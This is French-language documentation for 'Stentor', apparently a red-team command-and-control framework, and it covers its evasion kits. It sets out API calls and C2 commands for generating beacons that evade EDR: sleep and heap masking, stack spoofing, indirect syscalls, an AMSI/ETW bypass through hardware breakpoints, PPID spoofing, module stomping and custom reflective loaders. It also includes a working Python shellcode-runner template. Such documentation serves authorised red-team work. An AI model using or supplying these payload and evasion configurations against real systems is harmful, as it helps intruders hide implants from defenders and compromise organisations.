Kits d'évasion¶

Stentor fournit plus de 13 boutons d'évasion qui peuvent être configurés au moment de la génération de le payload et modifiés au moment de l'exécution via des tâches C2. Cette page couvre chaque option d'évasion, les cinq systèmes de kits personnalisés et une matrice de décision pour vous aider à choisir la bonne configuration pour votre environnement cible.

Aperçu¶

Les options d’évasion se répartissent en deux catégories :

• Les options de construction sont intégrées dans le binaire de le payload lors de la génération. Ils ne peuvent pas être modifiés après le déploiement (par exemple, obscurcissement Garble, date d'arrêt, fonction de sortie).
• Les options d'exécution sont configurées au moment de la génération mais peuvent être modifiées via les tâches C2 après l'exécution du beacon (par exemple, masquage du sommeil, méthode d'appel système, BeaconGate).

graph LR
    A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
    B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
    C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
    D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Référence des options d'évasion¶

Le tableau ci-dessous répertorie tous les champs liés à l'évasion disponibles dans la demande de génération de payload et la structure EvasionConfig de l'implant.

Exemple d'API¶

Générez un payload avec le masquage du sommeil et les appels système indirects activés :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "obfuscate": true
  }'

Masquage du sommeil¶

Le masquage du sommeil crypte la mémoire du beacon pendant les intervalles de sommeil à l'aide de XOR avec une clé aléatoire, empêchant ainsi l'analyse des signatures en mémoire lorsque le beacon est inactive.

Ce qu'il fait¶

Lorsque le masquage du sommeil est activé, le beacon :

1. Génère une clé XOR aléatoire avant chaque cycle de sommeil
2. Chiffre la section .text (code exécutable) afin que les signatures statiques échouent
3. Chiffre éventuellement les allocations de tas (masque de tas) pour masquer les chaînes en mémoire
4. Chiffre éventuellement la pile de threads (masque de pile) pour empêcher la détection basée sur la pile
5. Dort pendant l'intervalle configuré
6. Décrypte tout et reprend l'exécution

Méthodes de sommeil¶

config sleep_method direct

config sleep_method timer_queue

Les goroutines d'exécution Go (garbage collector, sysmon) planteront si elles tentent d'exécuter le code de section .text crypté. Le masque de sommeil utilise l’épinglage goroutine pour garantir que le masquage ne se produit que lorsqu’il est sécuritaire de le faire. La méthode direct est plus fiable avec le runtime Go.

Masquage des tas¶

Le masquage de tas chiffre les allocations de tas enregistrées pendant le sommeil. Cela empêche les analyseurs de mémoire EDR de trouver des chaînes de configuration, des URL C2 ou d'autres indicateurs dans la mémoire tas lorsque le beacon est inactive.

config heap_mask true

Masquage de pile¶

Le masquage de pile crypte la pile d'appels du thread pendant le sommeil. Ceci est expérimental et peut entraîner des problèmes de stabilité avec certaines configurations d'exécution Go.

config stack_mask true

Usurpation de pile¶

L'usurpation d'identité de pile fabrique des cadres de pile d'appels pour masquer les adresses de retour des beacons des outils de déplacement de pile (par exemple, Hunt-Sleeping-Beacons, Patriot, Moneta). Le spoofer :

1. Capture le vrai RBP via RtlCaptureContext
2. Parcourt la chaîne de pointeurs de trame RBP pour identifier les trames de beacon
3. Remplace les adresses de retour des beacons par des adresses DLL système légitimes (RtlUserThreadStart, BaseThreadInitThunk, NtWaitForSingleObject, etc.)
4. Construit une chaîne RBP synthétique reliant chaque image usurpée à la suivante
5. Restaure les valeurs d'origine après le sommeil

config stack_spoof_depth 0

Définissez stack_spoof_depth sur 0 pour usurper toutes les trames de beacon, ou sur un nombre spécifique pour limiter le nombre de trames remplacées.

Configuration d'exécution¶

# Set sleep interval to 30 seconds
sleep 30

# Enable sleep masking
config sleep_mask true

# Switch to timer queue method
config sleep_method timer_queue

# Enable heap masking
config heap_mask true

# Enable stack spoofing (all frames)
config stack_spoof_depth 0

Obfuscation des appels système¶

L'obfuscation Syscall contrôle la manière dont le beacon appelle les fonctions de l'API Windows. Trois modes sont disponibles :

Modes¶

config syscall_method none

config syscall_method direct

config syscall_method indirect

Comparaison¶

BalisePorte¶

BeaconGate intercepte 25 appels d'API Windows spécifiques et les achemine via la méthode d'appel système configurée (directe ou indirecte). Cela permet un contournement ciblé des hooks pour les API les plus couramment accrochées sans que chaque appel d'API passe par des appels système.

API fermées¶

Les 25 API sont organisées par catégorie :

Masque de garde¶

Lorsque mask_on_call est activé, BeaconGate crypte la mémoire du beacon avant chaque appel d'API bloqué et la déchiffre après. Cela permet une évasion maximale - la mémoire du beacon n'est lisible que pendant le bref instant d'exécution de l'API - mais entraîne une surcharge du processeur plus élevée.

Configuration via C2¶

# Enable BeaconGate
beacon_gate enable

# Enable mask-on-call
beacon_gate mask_on_call true

# Disable a specific API from gating
beacon_gate api VirtualAlloc false

# Re-enable a specific API
beacon_gate api VirtualAlloc true

Comportement de repli¶

Si un appel système bloqué échoue (erreur NTSTATUS), BeaconGate revient automatiquement à l'appel API Win32 standard. Les événements de secours sont enregistrés pour la visibilité de l'opérateur.

Kit d'artefacts¶

Le kit Artifact permet aux opérateurs de remplacer les binaires d'implant compilés de manière croisée par défaut par des binaires de chargement personnalisés. Trois types de modèles sont pris en charge :

Comment ça marche¶

Lorsqu'un modèle personnalisé est fourni via l'API ou un hook CNA, le relais utilise directement le binaire fourni au lieu de compiler de manière croisée l'implant à partir de la source Go. Le relais intègre le shellcode du beacon à un décalage connu dans le binaire personnalisé.

Crochet de l'AIIC¶

Le hook EXECUTABLE_ARTIFACT_GENERATOR permet à un script CNA d'intercepter la génération de payload et de renvoyer un binaire personnalisé :

# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
    local('$filename $shellcode');
    $filename = $1;
    $shellcode = $2;

    # Pack shellcode into custom loader
    $loader = load_custom_loader($filename);
    return embed_shellcode($loader, $shellcode);
}

Exemple d'API¶

Fournissez un modèle EXE personnalisé codé en base64 dans la demande de génération de payload :

# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"standalone\",
    \"listener_id\": \"LISTENER_UUID\",
    \"custom_exe_template\": \"$TEMPLATE\"
  }"

Cas d'utilisation¶

• Intégrez le shellcode du beacon dans un chargeur personnalisé avec une évasion supplémentaire (creux de processus, exécution de fibre, correctif ETW)
• Utiliser un binaire légitime signé comme support
• Implémenter des contrôles anti-sandbox personnalisés avant l'exécution du beacon

Trousse de ressources¶

Le kit de ressources permet aux opérateurs de personnaliser des modèles de payload non binaires : scripts et documents utilisés pour la fourniture de l'accès initial.

Crochets de l'AIIC¶

Plusieurs hooks sont disponibles pour différents types de ressources :

Variables du modèle¶

Le modèle Python reçoit les variables du modèle Go pour l'injection de shellcode :

Exemple de modèle Python personnalisé :

import ctypes

shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()

Chargeur réfléchissant défini par l'utilisateur (UDRL)¶

UDRL remplace le chargeur réfléchissant par défaut par un binaire personnalisé qui gère le mappage PE en mémoire. Cela donne aux opérateurs un contrôle total sur la manière dont le payload du beacon est chargée en mémoire.

Comment ça marche¶

1. L'opérateur fournit un binaire de chargeur personnalisé via udrl_options.loader_binary (codé en base64)
2. Le binaire du chargeur personnalisé est ajouté à le payload du beacon lors de la génération
3. Une fois injecté, le chargeur s'exécute en premier et mappe le beacon PE en mémoire
4. Le beacon commence son exécution une fois que le chargeur a terminé le mappage PE

Configuration¶

# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"shellcode\",
    \"listener_id\": \"LISTENER_UUID\",
    \"udrl_options\": {
      \"loader_binary\": \"$LOADER\"
    }
  }"

Options de clonage PE¶

Les payloads UDRL prennent en charge les options de clonage PE pour réduire le caractère unique de l'IOC :

Kit masque de sommeil¶

Le kit Sleep Mask permet aux opérateurs de remplacer l’implémentation du masque de sommeil par défaut par un code source Go personnalisé.

Comment ça marche¶

1. L'opérateur fournit un code source Go personnalisé qui implémente l'interface SleepMaskKit
2. Au moment de la construction, la source personnalisée remplace le masque de sommeil par défaut via le beacon de construction custom_sleepmask
3. L'implémentation personnalisée gère tout le cryptage/déchiffrement de la mémoire pendant le sommeil

Configuration¶

Le Kit Masque de Sommeil peut être fourni via trois mécanismes (par ordre de priorité) :

1. Hook CNA (priorité la plus élevée) : BEACON_SLEEP_MASK renvoie la source Go personnalisée
2. Base de données de modèles de kit : téléchargez la source via l'API kit_templates
3. Implémentation par défaut : masque de sommeil intégré si aucune source personnalisée n'est fournie

Crochets de l'AIIC¶

Exemple de crochet CNA :

on BEACON_SLEEP_MASK {
    local('$variant $arch $options');
    $variant = $1;
    $arch = $2;
    $options = $3;

    # Return custom sleep mask source
    return read_file("custom_sleep_mask.go");
}

on SLEEP_MASK_KIT_BUILD {
    local('$filename $arch $default_flags');
    $filename = $1;
    $arch = $2;
    $default_flags = $3;

    # Add extra build tags
    return "$default_flags -gcflags=-N";
}

Exemple d'API¶

Téléchargez un modèle de kit de masque de sommeil :

curl -s -X POST https://stentor.app/api/v1/kit-templates \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "sleepmask",
    "name": "sleep_mask_default",
    "content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
  }'

Chargement goutte à goutte¶

Le chargement goutte à goutte alloue la mémoire en petits morceaux de la taille d'une page avec des délais configurables entre les allocations, au lieu de faire une allocation importante signalée par les EDR.

Comment cela défait la détection¶

Les produits EDR mettent en corrélation les allocations de mémoire importantes (VirtualAlloc avec des tailles > 100 Ko) avec l'injection de shellcode. Le chargement goutte à goutte annule cette corrélation temporelle en :

1. Allocation de mémoire par petits morceaux (par défaut : 4 096 octets / une page)
2. Insertion d'un délai configurable entre chaque allocation (par défaut : 10 ms)
3. Valider chaque page individuellement afin qu'aucune allocation ne semble suspecte

Deux modes¶

Configuration¶

Exemple d'API¶

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    }
  }'

Fonctionnalités d'évasion supplémentaires¶

Usurpation PPID¶

Définissez le processus parent pour les processus enfants générés. Les outils d'analyse de l'arborescence des processus affichent le parent usurpé au lieu du processus beacon.

config ppid_target explorer.exe

Module piétinant¶

Code réinjecté avec la section mémoire d'une DLL légitime pour le support MEM_IMAGE. Au lieu d'allouer MEM_PRIVATE mémoire (ce qui se démarque dans l'analyse de la mémoire), le code du beacon occupe une section qui semble appartenir à une DLL légitime.

# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}

# Disable module stomping
evasion module_stomp {"dll": ""}

Points d'arrêt matériels (HWBP)¶

Utilisez des registres de débogage (DR0-DR3) et un gestionnaire d'exceptions vectorielles (VEH) au lieu de correctifs de mémoire en ligne pour le contournement AMSI et ETW. Aucun octet modifié n'apparaît dans les régions de mémoire analysées.

config hwbp_enabled true

Le contournement AMSI/ETW traditionnel corrige les octets dans amsi.dll et ntdll.dll, détectés par les scanners d'intégrité de la mémoire. Les points d'arrêt matériels définissent des registres de débogage qui déclenchent un VEH avant l'exécution de la fonction, renvoyant un résultat inoffensif sans modifier aucun octet de code.

Garde-corps¶

Restreindre l’exécution de le payload aux systèmes correspondant à des modèles spécifiques. Les systèmes qui ne correspondent pas se terminent silencieusement : pas de crash, pas d'erreur, pas de beacon.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Obscurcissement des brouillages¶

Activez l'obscurcissement Garble au moment de la construction pour randomiser les noms de fonctions, supprimer les symboles de débogage et chiffrer les littéraux de chaîne. Chaque build produit un hachage binaire unique.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true
  }'

Garble est une option au moment de la construction. Une fois qu'un payload est générée sans obscurcissement, elle ne peut pas être ajoutée rétroactivement : régénérez le payload avec obfuscate: true.

Matrice de décision d’évasion¶

Utilisez le tableau suivant pour sélectionner la configuration d'évasion adaptée à votre environnement cible.

Exemple : configuration d'évasion complète¶

Générez un payload maximale évasive pour un environnement fortement surveillé :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true,
    "kill_date": "2026-06-01T00:00:00Z",
    "exit_func": "thread",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    },
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Configurez ensuite l'évasion à l'exécution après l'enregistrement du beacon :

# Enable indirect syscalls
config syscall_method indirect

# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true

# Enable stack spoofing
config stack_spoof_depth 0

# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true

# Set PPID spoofing
config ppid_target explorer.exe

# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true